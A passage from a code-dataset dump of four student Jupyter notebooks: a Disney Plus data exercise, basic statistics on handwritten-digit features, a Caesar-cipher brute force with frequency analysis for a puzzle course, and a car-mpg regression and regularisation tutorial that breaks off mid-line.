+{"seq_id":"39807986750","text":"# + [markdown] id=\"Z8PI815Ce2Sn\"\n# # Instructions \n# Complete the following objectives using the dataset provided.\n\n# + id=\"e0_SuL_ue2So\" outputId=\"d4d3da4f-755b-49fe-8586-75fe12791291\" colab={\"base_uri\": \"https://localhost:8080/\"}\nimport pandas as pd\ndef get_movie_data():\n url = \"https://raw.githubusercontent.com/Gabe-flomo/Python-Course/main/Projects/3.%20Data%20structures%20/files/disney_plus_titles.csv\"\n df = pd.read_csv(url)\n data = df.to_dict('records')\n for row in data:\n try:\n row['cast'] = row['cast'].split(', ')\n row['duration'] = row['duration'].split()\n except Exception as e:\n continue\n return data\n\nmovies = get_movie_data()\nmovies[:3]\n\n# + [markdown] id=\"9GGEzHQxe2Sp\"\n# # Objective 1\n# How many movies and tv shows are on the disney plus platform?\n#\n# ## Expected output (how your output should look)\n# `There are 100 shows and 250 movies on disney plus`\n\n# + id=\"ZCR3K5pie2Sq\" outputId=\"14c3f0fb-f1f7-4885-c4bd-ec920cda8a25\" colab={\"base_uri\": \"https://localhost:8080/\"}\ntypes = {}\nfor i in movies:\n types.setdefault(i[\"type\"],0)\n types[i[\"type\"]] += 1\nshows = types[\"TV Show\"]\nmoviesD = types[\"Movie\"]\nprint(f\"There are {shows} shows and {moviesD} movies on disney plus\")\n\n# + [markdown] id=\"rj8uQs-we2Sq\"\n# # Objective 2\n# How many shows and movies were added in august for the year 2021?\n#\n# ## Expected output\n# `In august 2021, Disney released 10 shows and 2 movies`\n\n# + id=\"v168iCaBe2Sr\" outputId=\"ac6145bd-4dd8-4b1b-e8e9-930cc8a42112\" colab={\"base_uri\": \"https://localhost:8080/\"}\ntypes = {}\nfor i in movies:\n if type(i[\"date_added\"]) == str:\n date = i[\"date_added\"].split(\" \")\n if \"August\" in date and \"2021\" in date:\n types.setdefault(i[\"type\"],0)\n types[i[\"type\"]] += 1\nM = types[\"Movie\"]\nS = types[\"TV Show\"]\nprint(f\"In august 2021, Disney released {S} shows and {M} movies\")\n\n# + [markdown] id=\"xPxKhBbDe2Sr\"\n# # Objective 3\n# How many movies were released that have more than 3 cast members?\n#\n# ## Expected output\n# `There are 100 movies that have more than 3 cast members`\n\n# + id=\"OF1DDSK0e2Ss\" outputId=\"9073744a-1b33-4970-d9ac-6a7d33635d70\" colab={\"base_uri\": \"https://localhost:8080/\"}\nmovie = {}\nfor i in movies:\n if i[\"type\"] == \"Movie\":\n if type(i[\"cast\"]) == list:\n movie.setdefault(i[\"title\"],len(i[\"cast\"]))\nmovie\n\n# + [markdown] id=\"a24nUSeae2Ss\"\n# # Objective 4\n# Out of all the movies and tv shows that were released in 2020, how many of them have a duration longer than 90 minuutes or more than 2 seasons?\n#\n# ## Expected output\n# `There are 23 movies released in 2020 that are longer than 90 minutes, and 12 tv shows that have more than 2 seasons`\n#\n\n# + id=\"Ab729iJje2Ss\"\n\n\n# + [markdown] id=\"cgfoJC5ae2Ss\"\n# # Objective 5\n# How many shows and movies does star wars have on disney plus and what is the average duration for star wars movies?\n#\n# ## Expected output\n# `There are 13 star wars shows and 9 star wars movies with an average duration of 110 minutes`\n\n# + id=\"AzAIZf-Ie2St\"\n\n","repo_name":"MostleeMolde/PYTHONCOURSE101","sub_path":"Review 2/5. disney_movies.ipynb","file_name":"5. disney_movies.ipynb","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"226320691","text":"import numpy as np\n\nCLASS_SIZE = 160\ndata_path = './splite/train_data.npy'\n\n# +\nwith open(file_path, 'r') as f:\n data = f.readline()\n data_list = data.split()\n data = np.array(data_list).astype(np.float32)\n # for each label contains 200 consecutive data, label=int(i/200)\n label = int(i / 200)\n data_info.append((data, label))\n\n# print(data_info[0])\n\nreturn data_info\n\n# +\ndata_info = list()\ntrain_data = np.load(data_path)\nfor i, data in enumerate(train_data):\n label = int(i/CLASS_SIZE)\n data_info.append((data, label))\n \nprint(data_info)\n\n# +\ndata_info = list()\nfile_path = './mfeat-fou'\n\nwith open(file_path, 'r') as f:\n data = f.readline()\n while data:\n data_list = data.split()\n data = np.array(data_list).astype(np.float32)\n data_info.append(data)\n data = f.readline()\n\n# print(data_info[0])\n\n \n\n\n \n\n# -\n\nimport numpy as np\ndata = np.array(data_info)\nprint(data)\nprint(len(data))\n\n# # 计算方差\n\ntmp = np.mean(data, axis=0)\nmean = list()\nfor i in tmp:\n# print(i)\n mean.append(i)\nprint(mean)\nprint(len(mean))\n\nmean = np.mean(data.T, axis=1)\nprint(mean)\nprint(len(mean))\n\n# # 计算std\n\nstd = list()\nfor i in range(76):\n # 注意!!!,这里转置了\n tmp = np.std(data.T[i])\n (std.append(tmp))\nprint(std)\nprint(len(std))\n\n\n","repo_name":"funjm/SVFL","sub_path":"datasets/Handwritten/mfeat/dataset类.ipynb","file_name":"dataset类.ipynb","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"22550466417","text":"# ### Shift Cipher: Trying to check whether shift cipher is meaningful or not\n\ndef bruteforce_shift_cipher(ciphertext):\n for i in range(1, 26):\n plaintext = \"\"\n for char in ciphertext:\n if char.isalpha():\n char_code = ord(char)\n if char.isupper():\n char_code -= i\n if char_code < ord('A'):\n char_code += 26\n elif char.islower():\n char_code -= i\n if char_code < ord('a'):\n char_code += 26\n plaintext += chr(char_code)\n else:\n plaintext += char\n print(f\"Key: {i}, Plaintext: {plaintext}\")\n\n\nciphertext =\"Kg fcwd qh vin pnzy hjcocnt, cjjwg ku wnth nnyvng kxa cjjwg. Urfjm xwy yjg rbbufqwi vjg_djxn_ofs_dg_rmncbgi yq iq uqtxwlm. Oca zxw qcaj vjg tctnplyj hqs cjn pjcv ejbvdnt. Yt hkpe cjn gcnv, aqv okauy bknn ongm vt zvvgs vcpkh bqtft cjntj.\"\nbruteforce_shift_cipher(ciphertext)\n\n\n# ### Frequency Analysis : Unigrams\n\ndef frequency_analysis(ciphertext):\n \n freq_dict = {}\n for char in ciphertext:\n if char.isalpha():\n if char in freq_dict:\n freq_dict[char] += 1\n else:\n freq_dict[char] = 1\n \n freq_dict = dict(sorted(freq_dict.items(), key=lambda item: item[1], reverse=True))\n \n print(\"Frequency:\", freq_dict)\n\n\nciphertext = \"Kg fcwd qh vin pnzy hjcocnt, cjjwg ku wnth nnyvng kxa cjjwg. Urfjm xwy yjg rbbufqwi vjg_djxn_ofs_dg_rmncbgi yq iq uqtxwlm. Oca zxw qcaj vjg tctnplyj hqs cjn pjcv ejbvdnt. Yt hkpe cjn gcnv, aqv okauy bknn ongm vt zvvgs vcpkh bqtft cjntj.\"\nfrequency_analysis(ciphertext)\n\n\n# ### Letter Pair Analysis\n\ndef letter_pair_analysis(ciphertext):\n \n freq_dict = {}\n for i in range(len(ciphertext)-1):\n if ciphertext[i].isalpha() and ciphertext[i+1].isalpha():\n letter_pair = ciphertext[i] + ciphertext[i+1]\n if letter_pair in freq_dict:\n freq_dict[letter_pair] += 1\n else:\n freq_dict[letter_pair] = 1\n \n freq_dict = dict(sorted(freq_dict.items(), key=lambda item: item[1], reverse=True))\n \n print(\"Frequency:\", freq_dict)\n\n\n\nciphertext = \"Kg fcwd qh vin pnzy hjcocnt, cjjwg ku wnth nnyvng kxa cjjwg. Urfjm xwy yjg rbbufqwi vjg_djxn_ofs_dg_rmncbgi yq iq uqtxwlm. Oca zxw qcaj vjg tctnplyj hqs cjn pjcv ejbvdnt. Yt hkpe cjn gcnv, aqv okauy bknn ongm vt zvvgs vcpkh bqtft cjntj..\"\nletter_pair_analysis(ciphertext)\n\n\n","repo_name":"GunjH/Escaping-the-caves","sub_path":"level 2-Vigenere Cipher/Modern_Cryptology2.ipynb","file_name":"Modern_Cryptology2.ipynb","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"33609632264","text":"df=pd.read_csv('C:/Users/abhishek/Downloads/car-mpg.csv')\n\ndf.head()\n\ndf.isnull().sum()\n\ndf.shape\n\ndf.drop('car_name',axis=1,inplace=True)\n\ndf.head()\n\n# +\n#outliers removal!-mpg is my target column!\n# -\n\ndf['mpg'].describe()\n\nupper_limit=29+1.5*(29-17.5) #upper whisker: q3+1.5IQR iqr=interquartile range\nlower_limit=17.5-1.5*(29-17.5) #lower whisker: q1-1.5IQR \nprint(upper_limit)\nprint(lower_limit)\n\ndf=df[df['mpg']<46.26] #removing upper limit\n\n# as minimum value is 9 --> no need to remove lower outlier range\n\ndf['hp']\n\n# +\n#treating the '?' in hp columns --> hp column is of type object!\n\nimport pandas as pd\nimport numpy as np\ndf['hp']=df['hp'].str.replace(\"?\",\"\")\ndf.loc[df['hp']=='', 'hp']=np.nan\ndf['hp'] = pd.to_numeric(df['hp'], errors='coerce') #converting object to inetger\ndf['hp']=df['hp'].fillna(df['hp'].mean())\ndf['hp']\n# -\n\ndf.info()\n\ndf['wt']=df['wt'].astype(float)\ndf['yr']=df['yr'].astype(float)\ndf['origin']=df['origin'].astype(float)\ndf['cyl']=df['cyl'].astype(float)\ndf.info()\n\n# +\n##proceed with ols model to check assumptions-\n# -\n\nX=df.drop('mpg',axis=1) #x is storing all columns excpet mpg i.e my x values\ny=df['mpg'] \n\nfrom sklearn.linear_model import LinearRegression\nlin_reg = LinearRegression()\n\n# +\n## Raw OS Model\nimport statsmodels.api as sm\n\nX_constant = sm.add_constant(X)\nlin_reg = sm.OLS(y,X_constant).fit()\nlin_reg.summary()\n\n\n# +\n#check assumptions of linear regression:-\n# -\n\n# For Linear Regression, we need to prove 5 major assumptions. Even if a single condition is not met we need to do transformation.\n# 1) No Auto correlation. \n# Test needed : Durbin- Watson Test.\n# It's value ranges from 0-4. If the value of Durbin- Watson is Between 0-2, it's known as Positive Autocorrelation.\n# If the value ranges from 2-4, it is known as Negative autocorrelation.\n# If the value is exactly 2, it means No Autocorrelation.\n# For a good linear model, it should have low or no autocorrelation.\n#\n# durbin watson = 1.258 --> positive auto correlation -->> transformation needed!\n\n# +\nimport statsmodels.tsa.api as smt\n\nacf = smt.graphics.plot_acf(lin_reg.resid, lags=40 , alpha=0.05)\nacf.show()\n# -\n\n# 2) The second assumption is the Normality of Residuals. \n# For this we prefer the Jarque Bera test. For a good model, the residuals should be normally distributed.\n# The higher the value of Jarque Bera test , the lesser the residuals are normally distributed.\n# We generally prefer a lower value of jarque bera test.\n#\n# The Jarque–Bera test is a goodness-of-fit test of whether sample data \n# have the skewness and kurtosis matching a normal distribution.\n# And jarque-bera test (test for normality) : 35\n# The jarque bera test tests whether the sample data has the skewness and kurtosis matching a normal distribution.\n# Note that this test generally works good for large enough number of data samples(>2000) as the test statistics asymptotically has a chi squared distribution with degrees 2 of freedom.\n#\n# below 5.99 --> do transformation\n\n# Asssumption 3 - Linearity of residuals\n# Here we have 2 options. \n# Either we can plot the observed values Vs predicted values and plot the Residual Vs predicted values and see the linearity of residuals. OR We can go for rainbow test. Let's look at rainbow test.\n\nimport statsmodels.api as sm\nsm.stats.diagnostic.linear_rainbow(res=lin_reg, frac=0.5) #transformation required\n\n# +\n#linearity - mean of residuals should be zero --> here it is not zero as follows :-\n# -\n\nlin_reg.resid.mean() #mean of residuals not zero --> transformation required\n\n# Assumption 4 - Homoscedasticity_test(using goldfeld test) OR (Beusch-Wagon Test)\n# Homoscedacity :: If the residuals are symmetrically distributed across the trend , then it is called as homoscedacious. Heteroscedacity :: If the residuals are not symmetric across the trend, then it is called as heteroscedacious. In this the residuals can form an arrow shape or any other non symmetrical shape.\n#\n# This test is based on the hytpothesis testing where null and alternate hypothesis are:\n# H0 = constant variance among residuals. (Homoscedacity)\n# Ha = Heteroscedacity.\n# ​\n# The residuals should be homoscedacious.\n\n# +\nfrom statsmodels.compat import lzip\nimport numpy as np\nfrom statsmodels.compat import lzip\n# %matplotlib inline\n# %config InlineBackend.figure_format ='retina'\nimport seaborn as sns \nimport matplotlib.pyplot as plt\nimport statsmodels.stats.api as sms\nsns.set_style('darkgrid')\nsns.mpl.rcParams['figure.figsize'] = (15.0, 9.0)\n\nmodel = lin_reg\nfitted_vals = model.predict()\nresids = model.resid\nresids_standardized = model.get_influence().resid_studentized_internal\nfig, ax = plt.subplots(1,2)\n\nsns.regplot(x=fitted_vals, y=resids, lowess=True, ax=ax[0], line_kws={'color': 'red'})\nax[0].set_title('Residuals vs Fitted', fontsize=16)\nax[0].set(xlabel='Fitted Values', ylabel='Residuals')\nsns.regplot(x=fitted_vals, y=np.sqrt(np.abs(resids_standardized)), lowess=True, ax=ax[1], line_kws={'color': 'red'})\nax[1].set_title('Scale-Location', fontsize=16)\nax[1].set(xlabel='Fitted Values', ylabel='sqrt(abs(Residuals))')\n\nname = ['F statistic', 'p-value']\ntest = sms.het_goldfeldquandt(model.resid, model.model.exog)\nlzip(name, test)\n# -\n\n# Here, p value is less than 0.05 so, it is homoscedasticity distribution.\n# H0 = constant variance (Homoscedacity)\n# Ha = Heteroscedacity\n\n# Assumption 5- NO MULTI COLLINEARITY\n# The interpretation of VIF is as follows: the square root of a given variable’s VIF shows how much larger the standard error is,\n# compared with what it would be if that predictor were uncorrelated with the other features in the model.\n# If no features are correlated, then all values for VIF will be 1.\n#\n\n# +\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\n\nvif = [variance_inflation_factor(X_constant.values, i) for i in range(X_constant.shape[1])]\npd.DataFrame({'vif': vif[1:]}, index=X.columns).T\n# -\n\n# Note : This vif column has be built with the help of X_constant and not the X_values.\n# Because we built our model by adding Constant... multicolinearity exists\n# \n# all values above 2 should be discarded--> yr and origin should only be kept as others are collinear\n\n# As the regression assumptions were not met we will do transformation!\n# first we will construct the residual plot to see the plot:-\n\n# +\n#residual plot\nsns.set(style = 'whitegrid')\n\ndf['predictions'] = model.predict(X_constant)\nresiduals = model.resid\nresiduals\n\n# +\n#residual plot\nsns.set(style = 'whitegrid')\n\ndf['predictions'] = model.predict(X_constant)\nresiduals = model.resid\nresiduals\n# -\n\nsns.set(style = 'whitegrid')\nsns.distplot(residuals) #plot is not normal \n\nax = sns.residplot(df.predictions, residuals, lowess = True, color = 'g')\nax.set(xlabel = 'Fitted value', ylabel = 'Residuals', title = 'Residual vs Fitted Plot \\n')\nplt.show() \n\n# #as plot is quadratic we will go for sqrt transformation\n#\n# for exponential go for log transform\n\ndf1 = df.transform(lambda x: x**0.5)\ndf1.head()\n\nX = df1.drop('mpg',axis=1)\ny = df1.mpg\nX_constant = sm.add_constant(X)\nmodel = sm.OLS(y, X_constant).fit()\npredictions = model.predict(X_constant)\nmodel.summary()\n\n# +\n#residual plot\nsns.set(style = 'whitegrid')\n\ndf1['predictions'] = model.predict(X_constant)\nresiduals = model.resid\nresiduals\n# -\n\nax = sns.residplot(df1.predictions, residuals, lowess = True, color = 'g')\nax.set(xlabel = 'Fitted value', ylabel = 'Residuals', title = 'Residual vs Fitted Plot \\n')\nplt.show()\n\n# as above plot is random transformation is done\n\nsns.set(style = 'whitegrid')\nsns.distplot(residuals)\n\n# +\n#plot is normal! -- hence we know that we can do sqrt transformation on my original df!\n# -\n\ndf.head()\n\ndf.drop('predictions',axis=1,inplace=True)\n\ndf.head()\n\ndf=df.transform(lambda x:x**0.5) #sqrt transformation\n\ndf.head()\n\nX=df.drop('mpg',axis=1)\ny=df['mpg']\n\n# now lets do feature selection!\n\n# 1.Using Pearson Correlation\n# In this method, filtering is done using correlation matrix and it is commonly done using Pearson correlation.\n# ​\n# The correlation coefficient has values between -1 to 1\n# — A value closer to 0 implies weaker correlation (exact 0 implying no correlation)\n# — A value closer to 1 implies stronger positive correlation\n# — A value closer to -1 implies stronger negative correlation\n#\n\nplt.figure(figsize=(12,10))\ncor = df.corr()\nsns.heatmap(cor, annot=True, cmap=plt.cm.Reds)\nplt.show()\n\n#Correlation with output variable\ncor_target = abs(cor[\"mpg\"])\n#Selecting highly correlated features\nrelevant_features = cor_target[cor_target>0.5]\nrelevant_features\n\n# +\n#except yr and origin all other values are highly related and effects mpg\n# -\n\n# 2.Wrapper method\n# A wrapper method needs one machine learning algorithm and uses its performance as evaluation criteria.\n# Feed the features to the selected Machine Learning algorithm and based on the model performance you add/remove the features.\n# It is an iterative and computationally expensive process but it is more accurate than the filter method.\n# Forward Selection: Forward selection is an iterative method in which we start with having no feature in the model. In each iteration, we keep adding the feature which best improves our model till an addition of a new variable does not improve the performance of the model.\n#\n# Backward Elimination: In backward elimination, we start with all the features and removes the least significant feature at each iteration which improves the performance of the model. We repeat this until no improvement is observed on removal of features.\n#\n# Recursive Feature elimination: It is a greedy optimization algorithm which aims to find the best performing feature subset. It repeatedly creates models and keeps aside the best or the worst performing feature at each iteration. It constructs the next model with the left features until all the features are exhausted. It then ranks the features based on the order of their elimination.\n\n# # 2.backward elimination:-\n\n#Adding constant column of ones, mandatory for sm.OLS model\nX_1 = sm.add_constant(X)\n#Fitting sm.OLS model\nmodel = sm.OLS(y,X_1).fit()\nmodel.pvalues\n\n#Backward Elimination\ncols = list(X.columns)\npmax = 1\nwhile (len(cols)>0):\n p= []\n X_1 = X[cols]\n X_1 = sm.add_constant(X_1)\n model = sm.OLS(y,X_1).fit()\n p = pd.Series(model.pvalues.values[1:],index = cols) \n pmax = max(p)\n feature_with_p_max = p.idxmax()\n if(pmax>0.05):\n cols.remove(feature_with_p_max)\n else:\n break\nselected_features_BE = cols\nprint(selected_features_BE)\n\n# ['hp', 'wt', 'yr', 'origin'] -- are final set of variables !\n\n# # 3.RFE - Recursive Feature Elimination\n\n# RFE method works by recursively removing attributes and building a model on those attributes that remain. \n# It uses accuracy metric to rank the feature according to their importance. \n# The RFE method takes the model to be used and the number of required features as input. \n# It then gives the ranking of all the variables, 1 being most important. \n# It also gives its support, True being relevant feature and False being irrelevant feature.\n\nfrom sklearn.feature_selection import RFE\nmodel = LinearRegression()\n#Initializing RFE model\nrfe = RFE(model, 4) \n#4=no of features i want to select or no of attributes i want...hence getting 4 1's as those are most significant\n#it does on the basis of ranking ! i selected 4 as by backward elimination also got 4 features so i want to check\n\ncols = list(X.columns)\nmodel = LinearRegression()\n#Initializing RFE model\nrfe = RFE(model, 4) \n#Transforming data using RFE\nX_rfe = rfe.fit_transform(X,y) \n#Fitting the data to model\nmodel.fit(X_rfe,y) \ntemp = pd.Series(rfe.support_,index = cols)\nselected_features_rfe = temp[temp==True].index\nprint(selected_features_rfe)\n\n# Index(['hp', 'acc', 'yr', 'origin'], dtype='object') - are final set of vaiables\n\n# # 4 step forward selection\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score as acc\nfrom mlxtend.feature_selection import SequentialFeatureSelector as sfs\n\n\n# +\n# Build RF classifier to use in feature selection\nclf = LinearRegression()\n\n#X_train, X_test, y_train, y_test = train_test_split(X,y, test_size = 0.3, random_state = 0)\n\n\n# Build step forward feature selection\nsfs1 = sfs(clf,k_features = 7,forward=True,\n floating=False, scoring='r2',\n verbose=2,\n cv=5)\n\n# Perform SFFS\nsfs1 = sfs1.fit(X, y)\n\n# +\n#using 7 features r square is 0.67\n\n# +\n#using 6 features r2 is .68\n# -\n\n# Which features?\nfeat_cols = list(sfs1.k_feature_idx_)\nprint(feat_cols)\n\nX.columns #-- the most imp feaures are in order like this-->\n\n# # 5 - embedded methods\n\n# . Embedded method\n# Embedded methods are iterative in a sense that takes care of each iteration of the model training process and carefully extract those features which contribute the most to the training for a particular iteration.\n# Regularization methods are the most commonly used embedded methods which penalize a feature given a coefficient threshold.\n# Lasso regression performs L1 regularization which adds penalty equivalent to absolute value of the magnitude of coefficients.\n# Ridge regression performs L2 regularization which adds penalty equivalent to square of the magnitude of coefficients.\n# reg = LassoCV()\n\nfrom sklearn.linear_model import LassoCV\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.model_selection import train_test_split\nreg = LassoCV()\nreg.fit(X, y)\nprint(\"Best alpha using built-in LassoCV: %f\" % reg.alpha_)\nprint(\"Best score using built-in LassoCV: %f\" %reg.score(X,y))\ncoef = pd.Series(reg.coef_, index = X.columns)\n\nimp_coef = coef.sort_values()\nimport matplotlib\nmatplotlib.rcParams['figure.figsize'] = (8.0, 10.0)\nimp_coef.plot(kind = \"barh\")\nplt.title(\"Feature importance using Lasso Model\")\n\n# #as we see --> yr origin acc disp cyl hp wt are the most important features from high to low\n\n# #observing all the above methods we can conclude that -->>\n# hp wt yr and origin are common factors in all the above models -> hence we will go forward with these variables to build our model!\n\ndf.head()\n\ndf.drop('cyl',axis=1,inplace=True)\ndf.drop('disp',axis=1,inplace=True)\ndf.drop('acc',axis=1,inplace=True)\n\ndf.head()\n\nx=df.drop('mpg',axis=1)\ny=df['mpg']\n\nfrom sklearn.model_selection import train_test_split\nxtrain,xtest,ytrain,ytest=train_test_split(x,y,test_size=0.20,random_state=12) \n#random state \n\n# +\n#scaling train and test!\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler() #now we want to scale the values of train data\n\nsc.fit_transform(xtrain)\npd.DataFrame(sc.fit_transform(xtrain))\nxtrain_scaled=pd.DataFrame(sc.fit_transform(xtrain),columns = xtrain.columns) #scaled data\n\n\nsc.transform(xtest) \nxtest_scaled = pd.DataFrame(sc.transform(xtest),columns = xtest.columns)\n\n# -\n\nfrom sklearn.linear_model import LinearRegression\nlin_reg=LinearRegression()\npred=lin_reg.fit(xtrain_scaled,ytrain)\n\nprint(f'coeeficients:{lin_reg.coef_}') #all 13 coefficients i.e b1(or beta 1) values of all 13 x variables \nprint(f'intercept:{lin_reg.intercept_}') #y intercept only one i.e beta0,(b0)\nprint(f'R^2 score:{lin_reg.score(xtrain_scaled,ytrain)}') #r^2 rsquare value\n##training accuracy is 0.86\n\n# +\n#testing accuracy is .88\nprint(f'R^2 score for test: {lin_reg.score(xtest_scaled,ytest)}') \n\n\n# -\n\npred=lin_reg.fit(xtrain_scaled,ytrain).predict(xtest_scaled)\n\npred #predicted values of y as per model!\n\n# +\nfrom sklearn.metrics import mean_squared_error\n\nfrom math import sqrt\n\nrmse = sqrt(mean_squared_error(ytest, pred ))\n\nprint(rmse) #root mean squared error! \n\n# +\nfrom sklearn.metrics import mean_absolute_error\n\nmae=mean_absolute_error(ytest,pred)\n\nprint(mae)\n\n# +\n#mape=((sum(abs((ytest-pred) / (ytest)))/317)*100\n#print(mape)\n# -\n\nxtrain_scaled.shape\n\n# +\n#r--- \n#from sklearn.metrics import r2_score #test accuracy!\n\n#print(\"R^2 score for test: \",r2_score(y_true=ytest, y_pred=pred))\n# -\n\n# both train and test accuracy are almost same and train model accuracy < test model accuracy ->hence model fits. 0.86 and 0.88\n\n# However for our use case now we will consider that model was overfitting i.e train model accuracy is greater than test model accuracy -->when train accuracy is greater than testing acccuracy we proceed with regularisation !\n\n# # There are 3 regularisation techniques-- ridge , lasso, elastic net\n\n#the linear regression scores are as follows as already established --\ntrain_score=lin_reg.score(xtrain_scaled, ytrain)\ntest_score=lin_reg.score(xtest_scaled, ytest)\nprint(train_score)\nprint(test_score)\n\n# # ridge - for few variables effecting target , we generally may use ridge\n\n# for our study we are proceeding with ridge, lasso and elastic fit\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import Ridge\n\n# +\n# higher the alpha value, more restriction on the coefficients; \n# low alpha > more generalization, coefficients are barely\nrr = Ridge(alpha=0.01) #alpha=0.01\n\nrr.fit(xtrain_scaled, ytrain)\nRidge_train_score = rr.score(xtrain_scaled, ytrain)\nRidge_test_score = rr.score(xtest_scaled, ytest)\n\nprint(Ridge_train_score)\nprint(Ridge_test_score) #as we see no significant change in training and test scores\n# -\n\nplt.plot(rr.coef_,alpha=0.7,linestyle='none',marker='*',markersize=5,color='red',label=r'Ridge; $\\alpha = 0.01$',zorder=7) # zorder for ordering the markers\n\n# +\nrr = Ridge(alpha=100) #alpha=100 high alpha\n\nrr.fit(xtrain_scaled, ytrain)\nRidge_train_score = rr.score(xtrain_scaled, ytrain)\nRidge_test_score = rr.score(xtest_scaled, ytest)\n\nprint(Ridge_train_score)\nprint(Ridge_test_score) \n# -\n\nplt.plot(rr.coef_,alpha=0.7,linestyle='none',marker='*',markersize=5,color='red',label=r'Ridge; $\\alpha = 0.01$',zorder=7) \n# zorder for ordering the markers\n#rr coefficients for low alpha\n\n# +\n#parameter tuning\nfrom sklearn.model_selection import GridSearchCV\n# list of alphas to tune\nparams = {'alpha': [0.0001, 0.001, 0.01, 0.05, 0.1, \n 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0, 2.0, 3.0, \n 4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.0, 20, 50, 100, 500, 1000 ]}\n\n\nridge = Ridge()\n\n# cross validation\nfolds = 5\nmodel_cv = GridSearchCV(estimator = ridge, \n param_grid = params, \n scoring= 'neg_mean_absolute_error', \n cv = folds, \n return_train_score=True,\n verbose = 1) \nmodel_cv.fit(xtrain_scaled, ytrain) \n# -\n\ncv_results = pd.DataFrame(model_cv.cv_results_)\ncv_results = cv_results[cv_results['param_alpha']<=200]\ncv_results.head()\n\n# plotting mean test and train scoes with alpha \ncv_results['param_alpha'] = cv_results['param_alpha'].astype('int32')\nprint(cv_results)\n\n\n# plotting\nplt.plot(cv_results['param_alpha'], cv_results['mean_train_score'])\nplt.plot(cv_results['param_alpha'], cv_results['mean_test_score'])\nplt.xlabel('alpha')\nplt.ylabel('Negative Mean Absolute Error')\nplt.title(\"Negative Mean Absolute Error and alpha\")\nplt.legend(['train score', 'test score'], loc='upper left')\nplt.show()\n\n# # lasso = for higher number of variables we shall use lasso generally\n\nfrom sklearn.linear_model import Lasso\n\n# +\nlasso = Lasso()\n\n# cross validation\nmodel_cv = GridSearchCV(estimator = lasso, \n param_grid = params, \n scoring= 'neg_mean_absolute_error', \n cv = folds, \n return_train_score=True,\n verbose = 1) \n\nmodel_cv.fit(xtrain_scaled, ytrain) \n# -\n\ncv_results = pd.DataFrame(model_cv.cv_results_)\ncv_results.head()\n\n# +\n# plotting mean test and train scoes with alpha \ncv_results['param_alpha'] = cv_results['param_alpha'].astype('float32')\n\n# plotting\nplt.plot(cv_results['param_alpha'], cv_results['mean_train_score'])\nplt.plot(cv_results['param_alpha'], cv_results['mean_test_score'])\nplt.xlabel('alpha')\nplt.ylabel('Negative Mean Absolute Error')\n\nplt.title(\"Negative Mean Absolute Error and alpha\")\nplt.legend(['train score', 'test score'], loc='upper left')\nplt.show()\n\n# +\nalpha =100\n\nlasso = Lasso(alpha=alpha)\n \nlasso.fit(xtrain_scaled, ytrain) \n# -\n\nlasso.coef_\n\nlasso = Lasso()\nlasso.fit(xtrain_scaled,ytrain)\ntrain_score=lasso.score(xtrain_scaled,ytrain)\ntest_score=lasso.score(xtest_scaled,ytest)\ncoeff_used = np.sum(lasso.coef_!=0)\nprint(train_score)\nprint(test_score)\nprint(\"number of features used will be \",coeff_used)\n\nlasso = Lasso(alpha=0.01, max_iter=10e5) #low alpha\nlasso.fit(xtrain_scaled,ytrain)\ntrain_score=lasso.score(xtrain_scaled,ytrain)\ntest_score=lasso.score(xtest_scaled,ytest)\ncoeff_used = np.sum(lasso.coef_!=0)\nprint(train_score)\nprint(test_score)\nprint(\"number of features used will be \",coeff_used)\n\n\nlasso = Lasso(alpha=0.001, max_iter=10e5) #even lower alpha\nlasso.fit(xtrain_scaled,ytrain)\ntrain_score=lasso.score(xtrain_scaled,ytrain)\ntest_score=lasso.score(xtest_scaled,ytest)\ncoeff_used = np.sum(lasso.coef_!=0)\nprint(train_score)\nprint(test_score)\nprint(\"number of features used will be \",coeff_used) #closest r score values to linear regression!\n\nplt.subplot(1,2,1)\nplt.plot(lasso.coef_,alpha=0.7,linestyle='none',marker='*',markersize=5,color='red',label=r'Lasso; $\\alpha = 1$',zorder=7) # alpha here is for transparency\nplt.plot(lasso.coef_,alpha=0.5,linestyle='none',marker='d',markersize=6,color='blue',label=r'Lasso; $\\alpha = 0.01$') # alpha here is for transparency\nplt.xlabel('Coefficient Index',fontsize=16)\nplt.ylabel('Coefficient Magnitude',fontsize=16)\nplt.legend(fontsize=13,loc=4)\n\n# The default value of regularization parameter in Lasso regression (given by alpha) is 1. With this, out of x(total) features in our data-set, only 4 features are used (non zero value of the coefficient). Both training and test score (with only 4 features) are low; conclude that the model is under-fitting .\n#\n# Reduce this under-fitting by reducing alpha and increasing number of iterations. Now alpha = 0.01, non-zero features =10, training and test score increases.\n#\n# Comparison of coefficient magnitude for two different values of alpha are shown in the left panel of figure 2. For alpha =1, we can see most of the coefficients are zero or nearly zero, which is not the case for alpha=0.01. Further reduce alpha =0.0001, non-zero features = 22. Training and test scores are similar to basic linear regression case.\n#\n# In the right panel of figure, for alpha = 0.0001, coefficients for Lasso regression and linear regression show close resemblance.\n\n# # elastic net\n\n# +\n#elasic net--# Let's perform a cross-validation to find the best combination of alpha and l1_ratio\nfrom sklearn.linear_model import ElasticNetCV, ElasticNet\nfrom sklearn.metrics import r2_score\n\ncv_model = ElasticNetCV(l1_ratio=[.1, .5, .7, .9, .95, .99, .995, 1], eps=0.001, n_alphas=100, fit_intercept=True, \n normalize=True, precompute='auto', max_iter=2000, tol=0.0001, cv=5, \n copy_X=True, verbose=0, n_jobs=-1, positive=False, random_state=None, selection='cyclic')\n# -\n\ncv_model.fit(xtrain_scaled, ytrain)\n\nprint('Optimal alpha: %.8f'%cv_model.alpha_)\nprint('Optimal l1_ratio: 